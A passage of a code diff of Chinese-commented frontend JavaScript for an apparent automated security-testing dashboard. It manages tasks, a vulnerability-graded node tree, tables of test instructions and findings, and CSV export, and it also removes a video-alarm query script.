taskList.appendChild(taskItem);
});
} catch (error) {
console.error("加载任务列表出错:", error);
document.getElementById("taskList").innerHTML = "<p>加载任务列表失败!</p>";
}
}
//选中tasklist--更新界面数据
function selected_task_item(){
if(cur_task_id === cur_task.taskID) return;
cur_task_id = cur_task.taskID;
//按钮状态更新
actionButton = document.getElementById("actionButton");
if(cur_task.taskStatus === 0){
actionButton.textContent = "继续";
}else if(cur_task.taskStatus === 1){
actionButton.textContent = "暂停";
}else {
}
//基本信息
let safeR = getstrsafeR(cur_task.safeRank);
let taskS = getstrTaskS(cur_task.taskStatus);
document.getElementById("detailTestTarget").textContent = cur_task.testTarget;
document.getElementById("detailTestStatus").textContent = taskS;
document.getElementById("detailSafeStatus").textContent = safeR;
//单选按钮
if(cur_task.workType === 0){ //人工
set_radio_selection('testMode', 'manual');
}else { //1-自动
set_radio_selection('testMode', 'auto');
}
//更新单步按钮
setSetpBtnStatus()
//加载任务其他信息--node_tree.js
loadNodeTree(cur_task_id);
//加载测试指令和漏洞数据
searchInstructions();
searchVulnerabilities();
// renderTableRows(document.querySelector("#instrTable tbody"), []);
// renderTableRows(document.querySelector("#vulTable tbody"), []);
}
//--------------------任务基本信息区域--------------------
//单选按钮--测试模式修改
async function updateTestMode(mode){ //0-人工,1-自动
if(cur_task){
if(cur_task.workType !== mode){
if(cur_task.taskStatus === 1){
alert("执行状态,不允许修改测试模式!");
if( cur_task.workType === 0){ //人工
set_radio_selection('testMode', 'manual');
}else { //1-自动
set_radio_selection('testMode', 'auto');
}
}
else {//不是执行状态,可以修改测试模式
try {
const res = await fetch("/api/task/taskworktype", {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({ cur_task_id,mode }), //task_id:task_id
});
// 新增状态码校验
if (!res.ok) {
const errorData = await res.json();
throw new Error(errorData.error || `HTTP错误 ${res.status}`);
}
const data = await res.json();
bsuccess = data.bsuccess;
if(bsuccess){
cur_task.workType = mode; //更新前端缓存
//更新单步按钮状态
setSetpBtnStatus()
}else {
alert("修改测试模失败!")
if( cur_task.workType === 0){ //人工 修改失败还原单选按钮点击状态
set_radio_selection('testMode', 'manual');
}else { //1-自动
set_radio_selection('testMode', 'auto');
}
}
} catch (error) {
console.error("控制任务状态异常:", error);
alert("控制任务状态异常:",error);
if( cur_task.workType === 0){ //人工 修改失败还原单选按钮点击状态
set_radio_selection('testMode', 'manual');
}else { //1-自动
set_radio_selection('testMode', 'auto');
}
}
}
}
}
}
//点击暂停/继续按钮
document.getElementById("actionButton").addEventListener("click",() => {
controlTask();
});
async function controlTask(){
if(cur_task_id === 0){
alert("请先选择一个任务!")
return
}
try {
const res = await fetch("/api/task/taskcontrol", {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({ cur_task_id }), //task_id:task_id
});
// 新增状态码校验
if (!res.ok) {
const errorData = await res.json();
throw new Error(errorData.error || `HTTP错误 ${res.status}`);
}
const data = await res.json();
newstatus = data.newstatus;
//更新页面
if(newstatus === 0){
document.getElementById("detailTestStatus").textContent = "暂停中";
actionButton.textContent = "继续";
}else if(newstatus === 1){
document.getElementById("detailTestStatus").textContent = "执行中";
actionButton.textContent = "暂停";
}else {
document.getElementById("detailTestStatus").textContent = "已完成";
actionButton.textContent = "已完成";
}
cur_task.taskStatus = newstatus; //光有个cur_taks也可以
setSetpBtnStatus();
//更新task_list的显示
updateTaskList();
} catch (error) {
console.error("控制任务状态异常:", error);
alert("控制任务状态异常:",error);
}
}
//结束任务-brun-false
document.getElementById("btnTaskOver").addEventListener("click",()=>{
overTask();
})
async function overTask(){
if(cur_task_id === 0){
alert("请先选择一个任务!")
return
}
try {
if (confirm('确定要结束此任务吗?')){
const res = await fetch("/api/task/taskover", {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({ cur_task_id }), //task_id:task_id
});
// 新增状态码校验
if (!res.ok) {
const errorData = await res.json();
throw new Error(errorData.error || `HTTP错误 ${res.status}`);
}
const data = await res.json();
bsuccess = data.bsuccess;
error = data.error;
if(bsuccess){
//更新页面
task_list = []
cur_task = null //当前选择的task--用于修改缓存时使用
cur_task_id = 0 //当前选择的cur_task_id
//重新获取任务list
getTasklist();
}else {
alert("结束任务失败:",error);
}
}
} catch (error) {
alert("结束任务失败:",error);
}
}
//修改了涉及到tasklist的展示内容,修改tasklist显示
function updateTaskList(){
//更新数据
const selectedEl = document.querySelector(".task-item.selected");
if (selectedEl) {
let safeR = getstrsafeR(cur_task.safeRank);
let taskS = getstrTaskS(cur_task.taskStatus);
const statusDiv = selectedEl.querySelector(".task-status");
statusDiv.textContent = `${taskS}-${safeR}`;
}
}
//设置单步按钮的可点击状态状态
function setSetpBtnStatus(){
if(cur_task){
task_status = cur_task.taskStatus;
work_type = cur_task.workType;
}else {
task_status = 0;
work_type = 0;
}
btn_TaskStep = document.getElementById("one_step");
btn_NodeStep = document.getElementById("btnNodeStep");
if(task_status===1 && work_type===0){ //执行中且是人工模式
btn_TaskStep.disabled= false;
btn_TaskStep.classList.remove("disabled-btn");
//node-step
if (selectedNodeData) {
if(selectedNodeData.node_bwork){ //有选中node,且节点为工作状态
btn_NodeStep.disabled= false;
btn_NodeStep.classList.remove("disabled-btn");
}
else {
btn_NodeStep.disabled = true;
btn_NodeStep.classList.add("disabled-btn"); //css会去重
}
}
}else{ //其他情况都是不可用状态
btn_TaskStep.disabled = true; // 添加 disabled 属性
btn_TaskStep.classList.add("disabled-btn"); // 添加自定义样式
if (selectedNodeData) {
btn_NodeStep.disabled = true;
btn_NodeStep.classList.add("disabled-btn"); //css会去重
}
}
}
//单步按钮--任务单步
document.getElementById("one_step").addEventListener("click",() => {
if(cur_task_id===0){
return
}
one_step_task();
});
async function one_step_task(){
try {
const res = await fetch("/api/task/taskstep", {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({ cur_task_id }), //task_id:task_id
});
if (!res.ok) {
const errorData = await res.json();
throw new Error(errorData.error || `HTTP错误 ${res.status}`);
}
//修改成功
const data = await res.json();
const bsuccess = data.bsuccess;
if(bsuccess){
alert("该任务已提交单步工作,请稍候查看执行结果!")
}
else{
error = data.erroe;
alert("该任务单步失败!",error)
}
}catch (error) {
alert("该节点单步失败,请联系管理员!", error);
}
}
//------------------测试数据和漏洞数据tab-------------------
const pageSize = 10;
// 复用:根据返回的数据数组渲染表格 tbody,保证固定 10 行
function renderTableRows(tbody, rowsData) {
tbody.innerHTML = "";
// 遍历数据行,生成 <tr>
rowsData.forEach((row, index) => {
const tr = document.createElement("tr");
// 这里假设 row 为对象,包含各个字段;下标从1开始显示序号
for (const cellData of Object.values(row)) {
const td = document.createElement("td");
td.textContent = cellData;
tr.appendChild(td);
}
tbody.appendChild(tr);
});
// 补足空行
const rowCount = rowsData.length;
for (let i = rowCount; i < pageSize; i++) {
const tr = document.createElement("tr");
for (let j = 0; j < tbody.parentElement.querySelectorAll("th").length; j++) {
const td = document.createElement("td");
td.innerHTML = "&nbsp;";
tr.appendChild(td);
}
tbody.appendChild(tr);
}
}
//--------------------------测试指令-------------------------------
let allInstrs = [];
let currentInstrPage = 1;
function renderInstrPage(page) {
currentInstrPage = page;
const start = (page - 1) * pageSize;
const end = start + pageSize;
const pageData = allInstrs.slice(start, end);
const tbody = document.querySelector("#instrTable tbody");
renderTableRows(tbody, pageData);
// 更新分页按钮
document.getElementById("instrPrev").dataset.page = page > 1 ? page - 1 : 1;
document.getElementById("instrNext").dataset.page = (end < allInstrs.length) ? page + 1 : page;
}
// 查询测试指令
async function searchInstructions(page = 1) {
if(cur_task_id === 0){
return;
}
const nodeName = document.getElementById("instrNodeName").value.trim();
try {
const res = await fetch("/api/task/getinstr", {
method: "POST",
headers: {
"Content-Type": "application/json",
},
body: JSON.stringify({
cur_task_id,
nodeName
}),
});
if (!res.ok) {
const errorData = await res.json();
throw new Error(errorData.error || `HTTP错误 ${res.status}`);
}
const data = await res.json();
allInstrs = data.instrs;
renderInstrPage(1); //显示第一页数据
} catch (error) {
console.error("获取测试指令失败:", error);
}
}
//导出测试指令数据
async function ExportInstructions(){
alert("导出指令功能实现中。。。");
}
// 绑定测试指令查询按钮事件
document.getElementById("instrSearchBtn").addEventListener("click", () => {
searchInstructions();
});
// 绑定测试指令分页点击事件
document.getElementById("instrPrev").addEventListener("click", (e) => {
const page = parseInt(e.target.dataset.page, 10);
renderInstrPage(page);
});
document.getElementById("instrNext").addEventListener("click", (e) => {
const page = parseInt(e.target.dataset.page, 10);
renderInstrPage(page);
});
//------------------漏洞数据---------------------------------
let allVuls = [];
let currentVulPage = 1;
function renderVulPage(page) {
currentVulPage = page;
const start = (page - 1) * pageSize;
const end = start + pageSize;
const pageData = allVuls.slice(start, end);
const tbody = document.querySelector("#vulTable tbody");
renderTableRows(tbody, pageData);
// 更新分页按钮
document.getElementById("vulPrev").dataset.page = page > 1 ? page - 1 : 1;
document.getElementById("vulNext").dataset.page = (end < allVuls.length) ? page + 1 : page;
}
// 查询漏洞数据
async function searchVulnerabilities(page = 1) {
if(cur_task_id === 0){return;}
const nodeName = document.getElementById("vulNodeName").value.trim();
const vulType = document.getElementById("vulType").value.trim();
const vulLevel = document.getElementById("vulLevel").value;
try {
const res = await fetch("/api/task/getvul", {
method: "POST",
headers: {
"Content-Type": "application/json",
},
body: JSON.stringify({
cur_task_id,
nodeName,
vulType,
vulLevel
}),
});
if (!res.ok) {
const errorData = await res.json();
throw new Error(errorData.error || `HTTP错误 ${res.status}`);
}
const data = await res.json();
allVuls = data.vuls;
renderVulPage(1)
} catch (error) {
console.error("获取漏洞数据失败:", error);
}
}
//导出漏洞数据
async function ExportVuls(){
alert("导出漏洞功能实现中。。。");
}
// 绑定漏洞数据查询按钮事件
document.getElementById("vulSearchBtn").addEventListener("click", () => {
searchVulnerabilities();
});
// 绑定漏洞数据分页点击事件
document.getElementById("vulPrev").addEventListener("click", (e) => {
const page = parseInt(e.target.dataset.page, 10);
renderVulPage(page);
});
document.getElementById("vulNext").addEventListener("click", (e) => {
const page = parseInt(e.target.dataset.page, 10);
renderVulPage(page);
});

659
web/main/static/resources/scripts/task_modal.js

@ -0,0 +1,659 @@
// 全局变量,用于保存当前选中的节点数据
let selectedNodeData = null;
/**
* 根据节点数据递归生成树形结构返回 <li> 元素
* 假设节点数据格式
* {
* "node_name":node.name,
* "node_path":node.path,
* "node_status":node.status,
* "node_bwork":node.bwork,
* "node_vultype":node.vul_type,
* "node_vulgrade":node.vul_grade,
* children: [ { ... }, { ... } ]
* }
*/
function generateTreeHTML(nodeData) {
const li = document.createElement("li");
const nodeSpan = document.createElement("span");
nodeSpan.className = "tree-node";
//设置data属性
nodeSpan.setAttribute("data-node_name", nodeData.node_name);
nodeSpan.setAttribute("data-node_path", nodeData.node_path);
nodeSpan.setAttribute("data-node_status", nodeData.node_status);
nodeSpan.setAttribute("data-node_bwork", nodeData.node_bwork);
nodeSpan.setAttribute("data-node_vultype", nodeData.node_vultype);
nodeSpan.setAttribute("data-node_vulgrade", nodeData.node_vulgrade || "");
nodeSpan.setAttribute("data-node_workstatus",nodeData.node_workstatus);
if(nodeData.node_workstatus ===0){
nodeSpan.classList.add("no-work");
}else {
nodeSpan.classList.remove("no-work");
}
// 根据漏洞级别添加样式
if (nodeData.node_vulgrade) {
nodeSpan.classList.remove("no-work");
if (nodeData.node_vulgrade === "低危") {
nodeSpan.classList.add("vul-low");
} else if (nodeData.node_vulgrade === "中危") {
nodeSpan.classList.add("vul-medium");
} else if (nodeData.node_vulgrade === "高危") {
nodeSpan.classList.add("vul-high");
}
}
// 创建容器用于存放切换图标与文本
const container = document.createElement("div");
container.className = "node-container";
// 如果有子节点,则添加切换图标
if (nodeData.children && nodeData.children.length > 0) {
const toggleIcon = document.createElement("span");
toggleIcon.className = "toggle-icon";
toggleIcon.textContent = "-"; // 默认展开时显示“-”
container.appendChild(toggleIcon);
}
//节点文本
const textSpan = document.createElement("span");
textSpan.className = "node-text";
textSpan.textContent = nodeData.node_name;
container.appendChild(textSpan);
nodeSpan.appendChild(container);
li.appendChild(nodeSpan);
//如果存在子节点,递归生成子节点列表
if (nodeData.children && nodeData.children.length > 0) {
const ul = document.createElement("ul");
nodeData.children.forEach((child) => {
ul.appendChild(generateTreeHTML(child));
});
li.appendChild(ul);
}
return li;
}
// 绑定所有节点的点击事件
function bindTreeNodeEvents() {
document.querySelectorAll(".tree-node").forEach((el) => {
el.addEventListener("click", (event) => {
// 阻止事件冒泡,避免点击时展开折叠影响
event.stopPropagation();
// 清除之前选中的节点样式
document
.querySelectorAll(".tree-node.selected")
.forEach((node) => node.classList.remove("selected"));
// 当前节点标记为选中
el.classList.add("selected");
// 读取 data 属性更新右侧显示
const nodeName = el.getAttribute("data-node_name");
const status = el.getAttribute("data-node_status");
const nodepath = el.getAttribute("data-node_path");
const nodebwork = el.getAttribute("data-node_bwork");
const vulType = el.getAttribute("data-node_vultype");
const vulLevel = el.getAttribute("data-node_vulgrade");
const workstatus = el.getAttribute("data-node_workstatus");
//selectedNodeData = { nodeName, status, vulType, vulLevel,nodepath,nodebwork };
// 示例中默认填充
selectedNodeData = {
node_name: nodeName,
node_path: nodepath,
status: status,
node_bwork: nodebwork,
vul_type: vulType,
vul_grade: vulLevel || "-",
workstatus: workstatus
};
//刷新界面内容
update_select_node_data_show(nodeName,status,vulType,vulLevel,workstatus,nodebwork)
});
// 双击事件:展开/收缩子节点区域
el.addEventListener("dblclick", (event) => {
event.stopPropagation();
// 找到该节点下的 <ul> 子节点列表
const parentLi = el.parentElement;
const childUl = parentLi.querySelector("ul");
if (childUl) {
// 切换 collapsed 类,控制 display
childUl.classList.toggle("collapsed");
// 更新切换图标
const toggleIcon = el.querySelector(".toggle-icon");
if (toggleIcon) {
toggleIcon.textContent = childUl.classList.contains("collapsed")
? "+"
: "-";
}
}
});
});
}
// 动态加载节点树数据
async function loadNodeTree(task_id) {
// 清空选中状态
selectedNodeData = null;
//刷新界面内容
update_select_node_data_show("-","-","-","-","-",false)
try {
const res = await fetch("/api/task/gethistree", {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({ task_id }), //task_id:task_id
});
if (!res.ok) {
const errorData = await res.json();
throw new Error(errorData.error || `HTTP错误 ${res.status}`);
}
const data = await res.json();
const treeData = data.tree;
if (!treeData) {
document.getElementById("treeContent").innerHTML =
"<p>无节点数据</p>";
return;
}
// 创建一个 <ul> 作为树的根容器
const ul = document.createElement("ul");
ul.className = "tree-root-ul";
ul.appendChild(generateTreeHTML(treeData));
// 替换节点树容器的内容
const container = document.getElementById("treeContent");
container.innerHTML = "";
container.appendChild(ul);
// 绑定节点点击事件
bindTreeNodeEvents();
} catch (error) {
console.error("加载节点树失败:", error);
document.getElementById("treeContent").innerHTML = "<p>加载节点树失败</p>";
}
}
function getWorkStatus_Str(workstatus){
strworkstatus = ""
switch (workstatus){
case 0:
strworkstatus = "无待执行任务";
break;
case 1:
strworkstatus = "待执行指令中";
break;
case 2:
strworkstatus = "指令执行中";
break;
case 3:
strworkstatus = "待提交llm中";
break;
case 4:
strworkstatus = "提交llm中";
break;
default:
strworkstatus = "-"
}
return strworkstatus
}
//根据web端过来的数据,更新节点的工作状态
function updateTreeNode(node_path, node_workstatus) {
// 根据 node_path 查找对应节点(假设每个 .tree-node 上设置了 data-node_path 属性)
const nodeEl = document.querySelector(`.tree-node[data-node_path="${node_path}"]`);
if (nodeEl) {
// 更新 DOM 属性(属性值均为字符串)
nodeEl.setAttribute("data-node_workstatus", node_workstatus);
//判断是否需要更新界面
if(selectedNodeData){
if(node_path === selectedNodeData.node_path){ //只有是当前选中节点才更新数据
selectedNodeData.workstatus = node_workstatus;
strnew = getWorkStatus_Str(node_workstatus);
document.getElementById("node_workstatus").textContent = strnew;
}
}
} else {
console.warn(`未找到节点 ${node_path}`);
}
}
//刷新节点的数据显示
function update_select_node_data_show(nodeName,testStatus,vulType,vulLevel,workStatus,nodebwork){
document.getElementById("nodeName").textContent = nodeName;
document.getElementById("testStatus").textContent = testStatus;
document.getElementById("node_vulType").textContent = vulType;
document.getElementById("node_vulLevel").textContent = vulLevel;
str_workStatus = getWorkStatus_Str(Number(workStatus));
document.getElementById("node_workstatus").textContent = str_workStatus;
if(nodebwork==="true"){
document.getElementById("node_bwork").textContent = "执行中";
}else {
document.getElementById("node_bwork").textContent = "暂停中";
}
setNodeBtnStatus();
}
//节点按钮的状态控制
function setNodeBtnStatus(){
const btn_VI = document.getElementById("btnViewInstr");
if(!selectedNodeData){
//没有选择node,按钮全部置不可用
btn_VI.disabled = true;
btn_VI.classList.add("disabled-btn");
}
else{
btn_VI.disabled = false;
btn_VI.classList.remove("disabled-btn");
}
}
// // 刷新按钮事件绑定
// document.getElementById("btnRefresh").addEventListener("click", () => {
// // 重新加载节点树数据
// loadNodeTree(cur_task_id);
// });
// 按钮事件:当未选中节点时提示
function checkSelectedNode() {
if (!selectedNodeData) {
alert("请先选择节点");
return false;
}
return true;
}
//----------------------查看节点--指令modal----------------------------
let doneInstrs = []; // 已执行指令的所有数据
let todoInstrs = []; // 待执行指令的所有数据
let donePage = 1; // 已执行指令当前页
let todoPage = 1; // 待执行指令当前页
document.getElementById("btnViewInstr").addEventListener("click", () => {
if (!checkSelectedNode()) return;
openInstrModal()
});
// 打开对话框函数
function openInstrModal() {
const instrCanvas = new bootstrap.Offcanvas(document.getElementById('instrCanvas'));
instrCanvas.show();
// const modalEl = document.getElementById("instrModal");
// // 假设用 Bootstrap 5 的 Modal 组件
// const instrModal = new bootstrap.Modal(modalEl, {keyboard: false});
// 显示对话框
//instrModal.show();
// 在打开 modal 时,先更新提示内容,将 loadingMsg 显示“请稍后,数据获取中…”
const loadingMsg = document.getElementById("loadingMsg");
if (loadingMsg) {
loadingMsg.textContent = "请稍后,数据获取中...";
}
// 加载指令数据
loadInstrData();
}
// 调用后端接口,获取指令数据
async function loadInstrData() {
task_id = cur_task_id;
node_path = selectedNodeData.node_path;
try {
const res = await fetch("/api/task/hisnodegetinstr", {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({task_id,node_path}),
});
if (!res.ok) {
const errorData = await res.json();
throw new Error(errorData.error || `HTTP错误 ${res.status}`);
}
const data = await res.json();
// 数据获取成功后,清除加载提示
const loadingMsg = document.getElementById("loadingMsg");
if (loadingMsg) {
loadingMsg.style.display = "none"; // 或者清空其 innerHTML
}
doneInstrs = data.doneInstrs || [];
//todoInstrs = data.todoInstrs || [];
donePage = 1;
todoPage = 1;
renderDoneInstrTable(donePage);
//renderTodoInstrTable(todoPage);
} catch (error) {
console.error("加载指令数据异常:", error);
}
}
// 渲染已执行指令表格
function renderDoneInstrTable(page) {
const tbody = document.getElementById("doneInstrTbody");
// 计算起始索引
const startIndex = (page - 1) * pageSize;
const endIndex = startIndex + pageSize;
const pageData = doneInstrs.slice(startIndex, endIndex);
//select instruction,start_time,result from task_result where task_id=%s and node_path=%s;
tbody.innerHTML = "";
// 插入行
pageData.forEach((item, i) => {
const tr = document.createElement("tr");
// 第一列:序号
const tdIndex = document.createElement("td");
tdIndex.textContent = startIndex + i + 1;
tr.appendChild(tdIndex);
// 第二列:指令内容
const tdInstr = document.createElement("td");
tdInstr.textContent = item[0];
tr.appendChild(tdInstr);
// 第三列:开始时间(如果没有则显示空字符串)
const tdStartTime = document.createElement("td");
tdStartTime.textContent = item[1] || "";
tr.appendChild(tdStartTime);
// 第四列:执行结果
const tdResult = document.createElement("td");
tdResult.textContent = item[2] || "";
tr.appendChild(tdResult);
tbody.appendChild(tr);
});
// 若不足 10 行,补空行
for (let i = pageData.length; i < pageSize; i++) {
const tr = document.createElement("tr");
tr.innerHTML = `
<td>&nbsp;</td>
<td>&nbsp;</td>
<td>&nbsp;</td>
<td>&nbsp;</td>
`;
tbody.appendChild(tr);
}
}
// 渲染待执行指令表格
function renderTodoInstrTable(page) {
const tbody = document.getElementById("todoInstrTbody");
const startIndex = (page - 1) * pageSize;
const endIndex = startIndex + pageSize;
const pageData = todoInstrs.slice(startIndex, endIndex);
tbody.innerHTML = "";
pageData.forEach((item, i) => {
const tr = document.createElement("tr");
const idx = startIndex + i + 1;
// 第一列:序号
const tdIndex = document.createElement("td");
tdIndex.textContent = idx;
tr.appendChild(tdIndex);
// 第二列:指令文本内容(直接使用 textContent)
const tdItem = document.createElement("td");
tdItem.textContent = item; // 使用 textContent 避免 HTML 解析
tr.appendChild(tdItem);
// 第三列:复制和删除按钮
const tdAction = document.createElement("td");
// const btn_cp = document.createElement("button");
// btn_cp.className = "btn btn-primary btn-sm";
// btn_cp.textContent = "复制";
// btn_cp.style.marginRight = "2px"; // 设置间隔
// btn_cp.onclick = () => confirmCopyTodoInstr(idx - 1);
// tdAction.appendChild(btn_cp);
const btn = document.createElement("button");
btn.className = "btn btn-danger btn-sm";
btn.textContent = "删除";
btn.onclick = () => confirmDeleteTodoInstr(idx - 1);
tdAction.appendChild(btn);
tr.appendChild(tdAction);
tbody.appendChild(tr);
});
// 补空行
for (let i = pageData.length; i < pageSize; i++) {
const tr = document.createElement("tr");
tr.innerHTML = `
<td>&nbsp;</td>
<td>&nbsp;</td>
<td>&nbsp;</td>
`;
tbody.appendChild(tr);
}
}
// 分页事件
document.getElementById("doneInstrPrev").addEventListener("click", (e) => {
e.preventDefault();
if (donePage > 1) {
donePage--;
renderDoneInstrTable(donePage);
}
});
document.getElementById("doneInstrNext").addEventListener("click", (e) => {
e.preventDefault();
const maxPage = Math.ceil(doneInstrs.length / pageSize);
if (donePage < maxPage) {
donePage++;
renderDoneInstrTable(donePage);
}
});
document.getElementById("todoInstrPrev").addEventListener("click", (e) => {
e.preventDefault();
if (todoPage > 1) {
todoPage--;
renderTodoInstrTable(todoPage);
}
});
document.getElementById("todoInstrNext").addEventListener("click", (e) => {
e.preventDefault();
const maxPage = Math.ceil(todoInstrs.length / pageSize);
if (todoPage < maxPage) {
todoPage++;
renderTodoInstrTable(todoPage);
}
});
// 导出当前页数据
document.getElementById("btnExport").addEventListener("click", () => {
// 判断当前是哪个 Tab
const activeTab = document.querySelector("#instrTab button.nav-link.active");
if (activeTab.id === "doneInstrTab") {
exportCurrentPage(doneInstrs, donePage, ["序号", "执行指令", "执行时间", "执行结果"]);
} else {
exportCurrentPage(todoInstrs, todoPage, ["序号", "待执行指令"]);
}
});
function exportCurrentPage(dataArr, page, headerArr) {
const startIndex = (page - 1) * pageSize;
const endIndex = startIndex + pageSize;
const pageData = dataArr.slice(startIndex, endIndex);
// 在 CSV 的开头加上 BOM,用于 Excel 识别 UTF-8 编码
let csvContent = "\uFEFF" + headerArr.join(",") + "\n";
pageData.forEach((item, i) => {
const rowIndex = startIndex + i + 1;
if (headerArr.length === 4) {
// 已执行:序号,执行指令,执行时间,执行结果
csvContent += rowIndex + "," +
(item.command || "") + "," +
(item.execTime || "") + "," +
(item.result || "") + "\n";
} else {
// 待执行:序号,待执行指令
csvContent += rowIndex + "," + (item.command || "") + "\n";
}
});
// 如果不足 pageSize 行,补足空行(根据列数进行适当补全)
for (let i = pageData.length; i < pageSize; i++) {
// 根据 headerArr.length 来设置空行的格式
if (headerArr.length === 4) {
csvContent += ",,,\n";
} else {
csvContent += ",\n";
}
}
const blob = new Blob([csvContent], { type: "text/csv;charset=utf-8;" });
const url = URL.createObjectURL(blob);
const link = document.createElement("a");
link.href = url;
link.download = "指令导出.csv";
link.click();
URL.revokeObjectURL(url);
}
//------------------测试数据和漏洞数据tab-------------------
// 复用:根据返回的数据数组渲染表格 tbody,保证固定 10 行
function renderTableRows(tbody, rowsData) {
tbody.innerHTML = "";
// 遍历数据行,生成 <tr>
rowsData.forEach((row, index) => {
const tr = document.createElement("tr");
// 这里假设 row 为对象,包含各个字段;下标从1开始显示序号
for (const cellData of Object.values(row)) {
const td = document.createElement("td");
td.textContent = cellData;
tr.appendChild(td);
}
tbody.appendChild(tr);
});
// 补足空行
const rowCount = rowsData.length;
for (let i = rowCount; i < pageSize; i++) {
const tr = document.createElement("tr");
for (let j = 0; j < tbody.parentElement.querySelectorAll("th").length; j++) {
const td = document.createElement("td");
td.innerHTML = "&nbsp;";
tr.appendChild(td);
}
tbody.appendChild(tr);
}
}
//--------------------------测试指令-------------------------------
let allInstrs = [];
let currentInstrPage = 1;
function renderInstrPage(page) {
currentInstrPage = page;
const start = (page - 1) * pageSize;
const end = start + pageSize;
const pageData = allInstrs.slice(start, end);
const tbody = document.querySelector("#instrTable tbody");
renderTableRows(tbody, pageData);
// 更新分页按钮
document.getElementById("instrPrev").dataset.page = page > 1 ? page - 1 : 1;
document.getElementById("instrNext").dataset.page = (end < allInstrs.length) ? page + 1 : page;
}
// 查询测试指令
async function searchInstructions(page = 1) {
if(cur_task_id === 0){
return;
}
const nodeName = document.getElementById("instrNodeName").value.trim();
try {
const res = await fetch("/api/task/getinstr", {
method: "POST",
headers: {
"Content-Type": "application/json",
},
body: JSON.stringify({
cur_task_id,
nodeName
}),
});
if (!res.ok) {
const errorData = await res.json();
throw new Error(errorData.error || `HTTP错误 ${res.status}`);
}
const data = await res.json();
allInstrs = data.instrs;
renderInstrPage(1); //显示第一页数据
} catch (error) {
console.error("获取测试指令失败:", error);
}
}
//导出测试指令数据
async function ExportInstructions(){
alert("导出指令功能实现中。。。")
}
// 绑定测试指令查询按钮事件
document.getElementById("instrSearchBtn").addEventListener("click", () => {
searchInstructions();
});
// 绑定测试指令分页点击事件
document.getElementById("instrPrev").addEventListener("click", (e) => {
const page = parseInt(e.target.dataset.page, 10);
renderInstrPage(page);
});
document.getElementById("instrNext").addEventListener("click", (e) => {
const page = parseInt(e.target.dataset.page, 10);
renderInstrPage(page);;
});
//------------------漏洞数据---------------------------------
let allVuls = [];
let currentVulPage = 1;
function renderVulPage(page) {
currentVulPage = page;
const start = (page - 1) * pageSize;
const end = start + pageSize;
const pageData = allVuls.slice(start, end);
const tbody = document.querySelector("#vulTable tbody");
renderTableRows(tbody, pageData);
// 更新分页按钮
document.getElementById("vulPrev").dataset.page = page > 1 ? page - 1 : 1;
document.getElementById("vulNext").dataset.page = (end < allVuls.length) ? page + 1 : page;
}
// 查询漏洞数据
async function searchVulnerabilities(page = 1) {
if(cur_task_id === 0){return;}
const nodeName = document.getElementById("vulNodeName").value.trim();
const vulType = document.getElementById("vulType").value.trim();
const vulLevel = document.getElementById("vulLevel").value;
try {
const res = await fetch("/api/task/getvul", {
method: "POST",
headers: {
"Content-Type": "application/json",
},
body: JSON.stringify({
cur_task_id,
nodeName,
vulType,
vulLevel
}),
});
if (!res.ok) {
const errorData = await res.json();
throw new Error(errorData.error || `HTTP错误 ${res.status}`);
}
const data = await res.json();
allVuls = data.vuls;
renderVulPage(1)
} catch (error) {
console.error("获取漏洞数据失败:", error);
}
}
//导出漏洞数据
async function ExportVuls(){
alert("导出漏洞功能实现中。。。")
}
// 绑定漏洞数据查询按钮事件
document.getElementById("vulSearchBtn").addEventListener("click", () => {
searchVulnerabilities();
});
// 绑定漏洞数据分页点击事件
document.getElementById("vulPrev").addEventListener("click", (e) => {
const page = parseInt(e.target.dataset.page, 10);
renderVulPage(page);
});
document.getElementById("vulNext").addEventListener("click", (e) => {
const page = parseInt(e.target.dataset.page, 10);
renderVulPage(page);
});

246
web/main/static/resources/scripts/warn_manager.js

@ -1,246 +0,0 @@
let modelMap = []; //model_name model_id
let channelMap = []; //channel_name channel_id
let warn_data = []; //查询到的报警数据
let page_data = [];
let currentEditingRow = null;
let currentPage = 1;
const rowsPerPage = 30;
//页面加载初始化
document.addEventListener('DOMContentLoaded', function () {
perWarnHtml()
document.getElementById('delPageButton').addEventListener('click', function () {
delpageWarn();
});
});
//搜索按钮点击
document.getElementById('searchMButton').addEventListener('click', function() {
shearchWarn();
});
//查询数据
async function shearchWarn(){
//查询告警数据
let modelName = document.getElementById('modelSelect').value;
let channelName = document.getElementById('channelSelect').value;
const startTime = document.getElementById('startTime').value;
const endTime = document.getElementById('endTime').value;
const sCount = 0; // 起始记录数从0开始
const eCount = 5000; // 每页显示10条记录
if(modelName == "请选择"){
modelName = "";
}
if(channelName == "请选择"){
channelName = "";
}
// 构造请求体
const requestData = {
model_name: modelName || "", // 如果为空,则传空字符串
channel_name: channelName || "",
start_time: startTime || "",
end_time: endTime || "",
s_count: sCount,
e_count: eCount
};
try{
// 发送POST请求到后端
const response = await fetch('/api/warn/search_warn', {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify(requestData) // 将数据转为JSON字符串
});
// 检查响应是否成功
if (response.ok) {
warn_data = await response.json();
// 在这里处理查询结果,比如更新表格显示数据
currentPage = 1; // 重置当前页为第一页
renderTable(); //刷新表格
renderPagination();
} else {
console.error('查询失败:', response.status);
}
} catch (error) {
console.error('请求出错:', error);
}
}
async function perWarnHtml() {
//获取算法和通道列表,在下拉框显示
try{
//算法名称下拉框
let response = await fetch('/api/model/list');
if (!response.ok) {
throw new Error('Network response was not ok');
}
model_datas = await response.json();
model_select_datas = ["请选择"];
model_datas.forEach(option => {
model_select_datas.push(option.name);
modelMap[option.name] = option.ID;
});
set_select_data("modelSelect",model_select_datas);
//视频通道下拉框
response = await fetch('/api/channel/tree');
if (!response.ok) {
throw new Error('Network response was not ok');
}
channel_datas = await response.json();
channel_select_datas = ["请选择"];
channel_datas.forEach(option => {
channel_select_datas.push(option.channel_name);
channelMap[option.channel_name] = option.ID;
});
set_select_data("channelSelect",channel_select_datas);
//查询数据
shearchWarn()
}catch (error) {
console.error('Error fetching model data:', error);
}
}
//刷新表单页面数据
function renderTable() {
const tableBody = document.getElementById('table-body-warn');
tableBody.innerHTML = ''; //清空
const start = (currentPage - 1) * rowsPerPage;
const end = start + rowsPerPage;
pageData = warn_data.slice(start, end);
